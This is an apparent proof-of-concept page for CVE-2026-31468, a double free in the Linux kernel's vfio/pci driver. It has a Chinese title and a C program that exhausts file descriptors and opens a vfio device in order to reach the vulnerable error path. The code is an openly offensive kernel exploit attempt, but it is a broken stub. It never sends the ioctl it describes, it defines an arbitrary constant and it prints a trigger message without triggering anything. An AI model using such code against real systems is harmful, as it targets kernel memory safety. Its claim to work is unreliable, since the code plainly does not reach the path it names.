CVE-2026-31468 Linux内核vfio/pci双重释放漏洞

/* * PoC for CVE-2026-31468: Trigger double free in vfio/pci * This code attempts to exhaust file descriptors and trigger the vulnerable path. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/vfio.h> #define VFIO_DEVICE_GET_IRQ 0x3 void exhaust_fds() { int i; for (i = 0; i < 1024; i++) { if (open("/dev/null", O_RDONLY) < 0) { printf("FDs exhausted at %d\n", i); break; } } } int main() { // Step 1: Exhaust file descriptors to trigger EMFILE error path exhaust_fds(); // Step 2: Attempt to trigger the vulnerable ioctl // Note: Requires a valid vfio device and setup, simplified for PoC structure int fd = open("/dev/vfio/0", O_RDWR); if (fd < 0) { perror("Failed to open vfio device"); return 1; } struct vfio_device_get_irq_info irq_info; // Triggering the specific dma-buf feature logic requires complex setup, // this demonstrates the concept of hitting the error path. printf("Triggering vulnerable path...\n"); // Actual exploit would send specific ioctl commands to reach vfio_pci_core_feature_dma_buf close(fd); return 0; }